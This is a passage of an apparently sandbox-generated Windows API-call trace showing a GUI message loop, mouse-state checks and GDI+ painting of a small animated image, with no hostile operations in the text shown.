lpMsg=0x15e900) returned 1 [0147.072] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502f9) returned 0x1 [0147.072] SetCursor (hCursor=0x10003) returned 0x10003 [0147.072] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.072] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.072] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c00a2) returned 0x0 [0147.072] GetKeyState (nVirtKey=1) returned 0 [0147.072] GetKeyState (nVirtKey=2) returned 0 [0147.072] GetKeyState (nVirtKey=4) returned 0 [0147.072] GetKeyState (nVirtKey=5) returned 0 [0147.072] GetKeyState (nVirtKey=6) returned 0 [0147.072] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.072] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.073] WaitMessage () returned 1 [0147.137] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.137] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502ef) returned 0x1 [0147.137] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.137] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.137] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502ef) returned 0x1 [0147.137] SetCursor (hCursor=0x10003) returned 0x10003 [0147.137] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.137] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.137] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0098) returned 0x0 [0147.137] GetKeyState (nVirtKey=1) returned 0 [0147.137] GetKeyState (nVirtKey=2) returned 0 [0147.137] GetKeyState (nVirtKey=4) returned 0 [0147.138] GetKeyState (nVirtKey=5) returned 0 [0147.138] GetKeyState (nVirtKey=6) returned 0 [0147.138] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.138] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.138] WaitMessage () returned 1 [0147.170] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.170] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502e5) returned 0x1 [0147.171] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.171] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502e5) returned 0x1 [0147.171] SetCursor (hCursor=0x10003) returned 0x10003 [0147.171] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.171] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c008e) returned 0x0 [0147.171] GetKeyState (nVirtKey=1) returned 0 [0147.171] GetKeyState (nVirtKey=2) returned 0 [0147.171] GetKeyState (nVirtKey=4) returned 0 [0147.171] GetKeyState (nVirtKey=5) returned 0 [0147.171] GetKeyState (nVirtKey=6) returned 0 [0147.171] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.171] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.171] WaitMessage () returned 1 [0147.172] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.172] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.172] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.172] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.172] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.173] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0147.173] GetCurrentThreadId () returned 0xec0 [0147.173] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0147.173] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.173] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.173] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.173] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.173] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.173] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0147.173] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0147.173] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff86010781 [0147.174] SelectObject (hdc=0xffffffff86010781, h=0x1a05067e) returned 0x185000f [0147.174] GdipCreateFromHDC (hdc=0xffffffff86010781, graphics=0x15daf0) returned 0x0 [0147.191] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0147.192] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0147.192] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0147.192] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0147.192] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0147.193] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.193] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0147.194] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.194] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.194] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0147.195] GdipCreateRegion (region=0x15dc20) returned 0x0 [0147.195] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0147.195] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0147.195] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0147.196] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.196] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.196] GetSystemMetrics (nIndex=42) returned 0 [0147.197] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.197] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.197] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.197] CoTaskMemFree (pv=0x1e91eca0) [0147.197] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0147.198] GdipCreateRegion (region=0x15d710) returned 0x0 [0147.198] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0147.198] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0147.198] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0147.198] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0147.198] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.198] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.199] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.199] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0147.199] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.199] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.200] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.200] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.200] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0147.200] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0147.200] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0147.200] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0147.200] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.200] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0147.201] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0147.201] GetCurrentObject (hdc=0xffffffff86010781, type=0x1) returned 0x1b00017 [0147.201] GetCurrentObject (hdc=0xffffffff86010781, type=0x2) returned 0x1900010 [0147.201] GetCurrentObject (hdc=0xffffffff86010781, type=0x7) returned 0x1a05067e [0147.201] GetCurrentObject (hdc=0xffffffff86010781, type=0x6) returned 0x18a002e [0147.202] SaveDC (hdc=0xffffffff86010781) returned 1 [0147.202] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb3040b8a [0147.202] GetClipRgn (hdc=0xffffffff86010781, hrgn=0xffffffffb3040b8a) returned 0 [0147.202] SelectClipRgn (hdc=0xffffffff86010781, hrgn=0xffffffffe30407c3) returned 2 [0147.203] DeleteObject (ho=0xffffffffb3040b8a) returned 1 [0147.203] DeleteObject (ho=0xffffffffe30407c3) returned 1 [0147.203] OffsetViewportOrgEx (in: hdc=0xffffffff86010781, x=0, y=0, lppt=0x26e9928 | out: lppt=0x26e9928) returned 1 [0147.203] GetNearestColor (hdc=0xffffffff86010781, color=0xffffff) returned 0xffffff [0147.204] CreateSolidBrush (color=0xffffff) returned 0xffffffffbb100190 [0147.204] FillRect (hDC=0xffffffff86010781, lprc=0x15d7c0, hbr=0xffffffffbb100190) returned 1 [0147.204] DeleteObject (ho=0xffffffffbb100190) returned 1 [0147.204] RestoreDC (hdc=0xffffffff86010781, nSavedDC=-1) returned 1 [0147.204] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.204] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff86010781) returned 0x0 [0147.204] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc700dbd) returned 0x0 [0147.205] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.205] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0147.205] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.205] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.205] GetSystemMetrics (nIndex=42) returned 0 [0147.205] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.205] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.205] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.205] CoTaskMemFree (pv=0x1e91eca0) [0147.206] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0147.211] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0147.211] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0147.211] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0147.211] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0147.211] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff86010781, x1=0, y1=0, rop=0xcc0020) returned 1 [0147.211] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.211] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff86010781) returned 0x0 [0147.212] SelectObject (hdc=0xffffffff86010781, h=0x185000f) returned 0x1a05067e [0147.212] DeleteDC (hdc=0xffffffff86010781) returned 1 [0147.212] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.212] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0147.212] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0147.212] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0147.212] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.213] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502db) returned 0x1 [0147.213] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.213] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.213] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502db) returned 0x1 [0147.213] SetCursor (hCursor=0x10003) returned 0x10003 [0147.213] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.213] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.213] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0084) returned 0x0 [0147.213] GetKeyState (nVirtKey=1) returned 0 [0147.213] GetKeyState (nVirtKey=2) returned 0 [0147.213] GetKeyState (nVirtKey=4) returned 0 [0147.213] GetKeyState (nVirtKey=5) returned 0 [0147.213] GetKeyState (nVirtKey=6) returned 0 [0147.213] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.213] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.213] WaitMessage () returned 1 [0147.244] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.244] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502d1) returned 0x1 [0147.244] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.244] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.244] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502d1) returned 0x1 [0147.244] SetCursor (hCursor=0x10003) returned 0x10003 [0147.244] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.244] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.244] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c007a) returned 0x0 [0147.244] GetKeyState (nVirtKey=1) returned 0 [0147.244] GetKeyState (nVirtKey=2) returned 0 [0147.244] GetKeyState (nVirtKey=4) returned 0 [0147.244] GetKeyState (nVirtKey=5) returned 0 [0147.244] GetKeyState (nVirtKey=6) returned 0 [0147.244] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.244] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.244] WaitMessage () returned 1 [0147.258] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.258] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502c7) returned 0x1 [0147.258] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.258] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.258] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502c7) returned 0x1 [0147.259] SetCursor (hCursor=0x10003) returned 0x10003 [0147.259] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.259] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.259] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0070) returned 0x0 [0147.259] GetKeyState (nVirtKey=1) returned 0 [0147.259] GetKeyState (nVirtKey=2) returned 0 [0147.259] GetKeyState (nVirtKey=4) returned 0 [0147.259] GetKeyState (nVirtKey=5) returned 0 [0147.259] GetKeyState (nVirtKey=6) returned 0 [0147.259] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.259] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.259] WaitMessage () returned 1 [0147.278] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.278] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502bd) returned 0x1 [0147.278] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.278] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.278] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502bd) returned 0x1 [0147.279] SetCursor (hCursor=0x10003) returned 0x10003 [0147.279] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.279] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.279] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0066) returned 0x0 [0147.279] GetKeyState (nVirtKey=1) returned 0 [0147.279] GetKeyState (nVirtKey=2) returned 0 [0147.279] GetKeyState (nVirtKey=4) returned 0 [0147.279] GetKeyState (nVirtKey=5) returned 0 [0147.279] GetKeyState (nVirtKey=6) returned 0 [0147.279] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.279] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.279] WaitMessage () returned 1 [0147.304] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.304] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502b3) returned 0x1 [0147.304] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.304] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.304] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502b3) returned 0x1 [0147.304] SetCursor (hCursor=0x10003) returned 0x10003 [0147.304] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.304] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.304] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c005c) returned 0x0 [0147.304] GetKeyState (nVirtKey=1) returned 0 [0147.304] GetKeyState (nVirtKey=2) returned 0 [0147.304] GetKeyState (nVirtKey=4) returned 0 [0147.304] GetKeyState (nVirtKey=5) returned 0 [0147.304] GetKeyState (nVirtKey=6) returned 0 [0147.305] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.305] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.305] WaitMessage () returned 1 [0147.316] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.316] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502a9) returned 0x1 [0147.316] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.316] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.316] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x17502a9) returned 0x1 [0147.316] SetCursor (hCursor=0x10003) returned 0x10003 [0147.317] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.317] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.317] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0052) returned 0x0 [0147.317] GetKeyState (nVirtKey=1) returned 0 [0147.317] GetKeyState (nVirtKey=2) returned 0 [0147.317] GetKeyState (nVirtKey=4) returned 0 [0147.317] GetKeyState (nVirtKey=5) returned 0 [0147.317] GetKeyState (nVirtKey=6) returned 0 [0147.317] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.317] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.317] WaitMessage () returned 1 [0147.367] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.367] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175029f) returned 0x1 [0147.367] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.367] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.367] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175029f) returned 0x1 [0147.367] SetCursor (hCursor=0x10003) returned 0x10003 [0147.367] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.367] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.367] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0048) returned 0x0 [0147.367] GetKeyState (nVirtKey=1) returned 0 [0147.367] GetKeyState (nVirtKey=2) returned 0 [0147.367] GetKeyState (nVirtKey=4) returned 0 [0147.367] GetKeyState (nVirtKey=5) returned 0 [0147.367] GetKeyState (nVirtKey=6) returned 0 [0147.367] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.367] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.368] WaitMessage () returned 1 [0147.377] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.377] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750295) returned 0x1 [0147.377] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.377] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.378] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750295) returned 0x1 [0147.378] SetCursor (hCursor=0x10003) returned 0x10003 [0147.378] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.378] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.378] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c003e) returned 0x0 [0147.378] GetKeyState (nVirtKey=1) returned 0 [0147.378] GetKeyState (nVirtKey=2) returned 0 [0147.378] GetKeyState (nVirtKey=4) returned 0 [0147.378] GetKeyState (nVirtKey=5) returned 0 [0147.378] GetKeyState (nVirtKey=6) returned 0 [0147.378] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.378] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.378] WaitMessage () returned 1 [0147.388] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.388] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175028b) returned 0x1 [0147.388] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.388] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.388] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175028b) returned 0x1 [0147.388] SetCursor (hCursor=0x10003) returned 0x10003 [0147.388] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.388] DispatchMessageW (lpMsg=0x15e910) 